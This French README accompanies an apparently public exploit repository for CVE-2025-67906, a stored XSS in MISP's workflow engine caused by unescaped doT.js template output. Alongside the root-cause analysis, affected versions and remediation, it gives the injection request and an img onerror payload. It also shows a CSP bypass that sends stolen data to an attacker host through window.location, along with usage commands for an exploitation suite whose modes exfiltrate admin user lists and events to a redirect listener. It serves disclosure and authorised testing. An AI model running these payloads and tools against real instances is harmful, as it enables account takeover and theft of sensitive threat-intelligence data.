
MISP <= 2.5.27 - Cross-Site Scripting stocké via Workflow Engine (Injection de template doT.js).
MISP <= 2.5.27 - Cross-Site Scripting stockée via le moteur de Workflow (injection de template doT.js)
Découverte par Franck FERMAN
Aperçu - Analyse de la cause racine - Chaîne d'attaque - Structure du projet - Utilisation - Remédiation - Références
CVE-2025-67906 (GCVE-1-2025-0031) est une vulnérabilité de Cross-Site Scripting (XSS) stockée dans MISP (Malware Information Sharing Platform) versions jusqu'à et y compris 2.5.27.
La vulnérabilité réside dans app/View/Elements/Workflows/executionPath.ctp, le composant d'affichage du chemin d'exécution des Workflows. Le champ name des déclencheurs (triggers) de workflow est persistant en base de données sans assainissement côté serveur, puis rendu dans le DOM via le moteur de template doT.js sans échappement HTML. Un attaquant authentifié peut injecter du HTML/JavaScript arbitraire qui s'exécute dans la session navigateur de tout utilisateur consultant le workflow compromis.
Comme la charge utile est stockée en base de données et rendue à chaque chargement de page, la XSS est persistante – elle survit aux rechargements de page, affecte plusieurs utilisateurs et persiste jusqu'à ce que le workflow soit explicitement supprimé.
Découverte : Cette vulnérabilité a été identifiée et divulguée de manière responsable par Franck FERMAN.
Plusieurs évaluations CVSS existent pour cette vulnérabilité :
La divergence des scores reflète des évaluations différentes de la profondeur de l'impact. Le score NIST NVD (9.0) tient compte d'un impact total sur la Confidentialité, l'Intégrité et la Disponibilité, étant donné que la charge utile XSS s'exécute avec les privilèges de session de la victime, permettant l'exfiltration de données au niveau administrateur et la manipulation des workflows. Le score CNA (5.4) ne considère qu'un impact limité sur la C/I pour une XSS générique. Le score GCVE CVSS 4.0 (7.1) introduit des modificateurs d'Exigences d'attaque (Privilège) et d'Interaction Utilisateur Active.
Le Périmètre est Modifié dans toutes les évaluations car la charge utile de l'attaquant (injectée via l'API MISP) s'exécute dans un contexte de sécurité différent (la session navigateur de la victime).
Le moteur de Workflow de MISP permet aux utilisateurs authentifiés de créer et modifier des workflows via l'API REST. Le modèle de données du workflow inclut un composant trigger avec un champ name. Ce champ est :
doT.js est un moteur de templating JavaScript rapide. Il utilise {{= }} pour l'interpolation, ce qui n'échappe pas le HTML par défaut. L'éditeur de Workflow de MISP utilise doT.js pour afficher les métadonnées des déclencheurs (y compris le champ name) dans le DOM. Lorsque le champ name contient du HTML comme ``, le moteur de template l'insère comme HTML brut, et le navigateur exécute le JavaScript intégré.
La correction nécessite soit :
{{! }} qui échappe le HTMLPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
La valeur name dans le champ JSON data est le point d'injection. L'ensemble du graphe du workflow est sérialisé sous forme de chaîne JSON dans le corps de la requête.
La vulnérabilité est amplifiée par le choix architectural d'utiliser un moteur de template côté client (doT.js) pour afficher l'éditeur visuel de workflow. L'éditeur de Workflow est une interface graphique de glisser-déposer où chaque déclencheur/action est affiché comme un bloc visuel. Le champ name du déclencheur est rendu comme une étiquette à l'intérieur de ces blocs graphiques.
doT.js construit les composants visuels en générant des chaînes HTML à partir de templates et en les insérant dans le DOM. La syntaxe d'interpolation {{= }} produit une sortie non échappée – toute donnée interpolée dans le template est traitée comme du balisage, et non comme du texte. Si le même champ name était rendu via element.textContent (qui traite l'entrée comme du texte brut) ou via la syntaxe de sortie encodée {{! }} de doT.js, aucune XSS ne serait possible, quelle que soit l'entrée.
La surface d'attaque existe précisément parce que :
{{= }}) pour les performancesname est interprétée comme du HTML par le navigateurIl s'agit d'un motif de vulnérabilité courant dans les applications web qui utilisent des moteurs de template côté client pour construire des interfaces visuelles interactives : le besoin de rendu riche crée une relation de confiance implicite entre le template et ses sources de données, et toute entrée utilisateur non assainie qui atteint le template devient du code exécutable.
<script>Une balise <script> brute injectée via interpolation de template ne s'exécutera généralement pas dans ce contexte. Les navigateurs n'exécutent pas les éléments <script> insérés dans le DOM après l'analyse initiale de la page (via innerHTML ou équivalent). Les attributs de gestionnaire d'événements comme onerror, onload ou onmouseover sur des éléments HTML contournent cette restriction car ils déclenchent du JavaScript en ligne lorsque le navigateur traite les attributs de l'élément, indépendamment de la façon dont l'élément a été inséré.
Le vecteur <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> est préféré car :
src="x" garantit un échec de chargement immédiat, déclenchant onerror sans interaction utilisateurscript-src qui bloquent les balises <script> en ligne, car l'exécution se fait via un gestionnaire d'événement sur un élément non scriptLes instances MISP déploient généralement des en-têtes CSP (Content Security Policy) qui restreignent connect-src, empêchant les appels fetch() et XMLHttpRequest vers des origines externes. Les charges utiles d'exfiltration dans cette PoC contournent CSP en utilisant window.location (navigation) au lieu d'appels API :
// BLOQUÉ par CSP connect-src :
fetch('http://attaquant/exfil?data=' + stolen_data); // violation CSP
// NON bloqué - la navigation n'est pas régie par CSP :
window.location = 'http://attaquant/exfil?data=' + stolen_data; // fonctionne
CSP n'a aucune directive qui contrôle vers quelles pages un site peut naviguer. La directive navigate-to a été proposée dans CSP Level 3 mais n'a jamais été implémentée par aucun navigateur et a été effectivement abandonnée. Cela fait de window.location un contournement fiable de CSP pour l'exfiltration de données depuis n'importe quel contexte XSS, indépendamment de la politique CSP en place.
Le compromis est que la navigation est visible pour la victime (la page change). Le server/redirector.py atténue cela en émettant immédiatement une redirection HTTP 302 vers l'instance MISP, créant seulement un bref flash visible. Du point de vue de la victime, la page semble se recharger.
Flux de données d'exfiltration :
Navigateur victime Attaquant (redirector.py) MISP
| | |
|-- GET /exfil?data=<volé> ------>| |
| | [capture les données, affiche] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- Page MISP normale ---------------------------------------------|
L'aller-retour complet prend ~100-200ms. La victime voit au maximum un flash de page.
Une idée fausse courante dans les évaluations de sécurité est que les vulnérabilités XSS ont un impact pratique limité (« ce n'est qu'une boîte d'alerte »). Dans les engagements réels d'équipe rouge, une XSS stockée – en particulier une persistante sans clic comme celle-ci – est une découverte de grande valeur précisément parce que l'attaquant n'a pas besoin que la victime clique sur quoi que ce soit. La charge utile se déclenche automatiquement lorsque la page est rendue.
Ce qu'une XSS stockée permet en pratique :
HttpOnly, l'attaquant vole le cookie de session de l'admin et prend le contrôle du compte. Même avec HttpOnly, les jetons de session exposés dans le DOM ou dans les réponses API peuvent être extraits.document.body.innerHTML ou des requêtes DOM ciblées.Lorsque des protections comme CSP restreignent les requêtes sortantes (connect-src, script-src), le vecteur d'exfiltration s'adapte – comme démontré dans cette PoC avec le contournement par window.location. CSP élève la barre mais n'élimine pas le risque. Lorsque HttpOnly empêche le vol de cookies, l'attaquant se tourne vers l'exfiltration basée sur le DOM des données directement visibles dans la session authentifiée.
Dans un contexte de pentest/équipe rouge, une XSS stockée sur une plateforme comme MISP (qui agrège du renseignement sur les menaces, des IOCs et des données organisationnelles) est particulièrement critique car les données accessibles via une session admin sont elles-mêmes très sensibles : indicateurs de compromission, détails d'enquêtes internes, appartenances à des groupes de partage et relations de confiance inter-organisationnelles.
1. L'attaquant s'authentifie sur MISP (tout rôle avec permission de création de workflow)
|
2. POST /workflows/add -> crée un nouveau workflow, reçoit workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> injecte la charge utile HTML/JS dans le champ "name" du trigger
| Charge utile : <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. La charge utile persiste dans la base de données MISP
|
5. La victime (tout utilisateur authentifié) visite /workflows/view/{id}
|
6. doT.js rend le nom du trigger comme HTML brut -> le navigateur exécute le JavaScript
|
7. L'impact dépend du mode de la charge utile :
- alert() Preuve d'exécution
- Détournement de session Vol du cookie de session
- Exfiltration de données Extraction des utilisateurs, événements, clés API des pages admin
- Vol d'identifiants Injection d'un faux formulaire de connexion
| Logiciel | Affecté | Corrigé |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
Le correctif est inclus dans MISP v2.5.28. Le commit de correctif pertinent : 1f39deb.
poc_alert_cve_2025_67906.py # PoC simple - confirmation alert() (~200 lignes)
poc_exfiltrate_cve_2025_67906.py # PoC simple - démonstration d'exfiltration (~150 lignes)
cve_2025_67906.py # Suite d'exploitation complète - 7 modes, charges utiles personnalisées
server/
redirector.py # Écouteur d'exfiltration avec redirection 302 transparente
poc_alert_cve_2025_67906.py : Minimal, lisible. Injecte alert() pour confirmer la XSS. Lisez-le en premier.poc_exfiltrate_cve_2025_67906.py : Démonstration d'exfiltration minimale. Capture l'email/URL de la victime et l'envoie au serveur attaquant.cve_2025_67906.py : Suite d'exploitation complète avec 7 modes de charge utile, support de charge utile personnalisée, mode silencieux.server/redirector.py : Serveur HTTP qui capture les données exfiltrées et redirige transparentement la victime vers MISP.Python 3 (bibliothèque standard uniquement, zéro dépendance externe).
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
Confirmez l'existence de la vulnérabilité avec un alert() inoffensif :
python3 poc_alert_cve_2025_67906.py https://misp.target.org VOTRE_CLE_API
Visitez l'URL affichée par le script. Une boîte d'alerte confirme l'exécution XSS.
# Terminal 1 : démarrer l'écouteur d'exfiltration
python3 server/redirector.py https://misp.target.org --port 8000
# Terminal 2 : injecter la charge utile
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org VOTRE_CLE_API --attaquant VOTRE_IP:8000
Lorsqu'une victime visite l'URL du workflow, son email, son nom d'utilisateur et l'URL de la page sont capturés par l'écouteur.
# Mode alerte (par défaut)
python3 cve_2025_67906.py https://misp.target.org CLE_API
# Extraire la liste des utilisateurs depuis la page admin
python3 cve_2025_67906.py https://misp.target.org CLE_API \
--mode exfiltrate_users --attaquant VOTRE_IP:8000
# Extraire la liste des événements
python3 cve_2025_67906.py https://misp.target.org CLE_API \
--mode exfiltrate_events --attaquant VOTRE_IP:8000 --limit 50
# Charge utile personnalisée
python3 cve_2025_67906.py https://misp.target.org CLE_API \
--payload ''
# Mode silencieux (sortie minimale)
python3 cve_2025_67906.py https://misp.target.org CLE_API --mode alert --quiet
{{= }} (brut) à {{! }} (encodé HTML) pour les champs fournis par l'utilisateurname avant l'insertion en base de données (supprimer les balises HTML, encoder les entités)Cet outil est fourni uniquement pour des audits de sécurité autorisés, des recherches académiques et des fins éducatives. L'utilisation contre des systèmes sans autorisation écrite explicite du propriétaire du système est illégale. L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou malveillante.
| Source | Score | Sévérité | Vecteur |
|---|
| NIST NVD | 9.0 | Critique | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | Élevée | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | Moyenne | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| Mode | Impact | Condition requise |
|---|
alert | Confirme l'exécution XSS | Tout utilisateur consulte le workflow |
alert_info | Affiche l'email et l'URL de la victime | Tout utilisateur consulte le workflow |
console_info | Enregistre l'email, le rôle, l'URL de l'utilisateur dans DevTools | Tout utilisateur consulte le workflow |
exfiltrate_users | Extrait la liste des utilisateurs (ID, Org, Rôle, Email) depuis /admin/users/index | Un admin consulte le workflow + écouteur attaquant |
exfiltrate_page | Capture le contenu de la page actuelle et l'identité de l'utilisateur | Tout utilisateur consulte le workflow + écouteur attaquant |
exfiltrate_events | Extrait la liste des événements (ID, Org, Date, TLP, Info) | Tout utilisateur consulte le workflow + écouteur attaquant |
| ID | Tactique | Technique | Pertinence |
|---|
| T1059.007 | Exécution | JavaScript | La charge utile XSS exécute du JavaScript dans le navigateur de la victime |
| T1189 | Accès Initial | Compromis par navigation | La charge utile stockée se déclenche lors de la visite de la page |
| T1557 | Collecte | Adversaire-dans-le-navigateur | La charge utile opère dans la session authentifiée de la victime |
| T1539 | Accès aux identifiants | Vol de cookie de session web | Cookies de session accessibles si HttpOnly n'est pas défini |
| T1005 | Collecte | Données du système local | Exfiltration des listes d'utilisateurs, événements et contenu de page |
| Mode | Description |
|---|
alert | Boîte d'alerte simple (par défaut, sûr pour démo) |
alert_info | Boîte d'alerte avec URL, email, user-agent de la victime |
console | Confirmation console.log |
console_info | Enregistre l'email, le rôle, l'URL de l'utilisateur dans la console DevTools |
exfiltrate_users | Extrait la liste des utilisateurs depuis /admin/users/index (nécessite une victime admin) |
exfiltrate_page | Capture le contenu de la page actuelle et l'identité de l'utilisateur |
exfiltrate_events | Extrait la liste des événements avec ID, Org, Date, TLP, Info |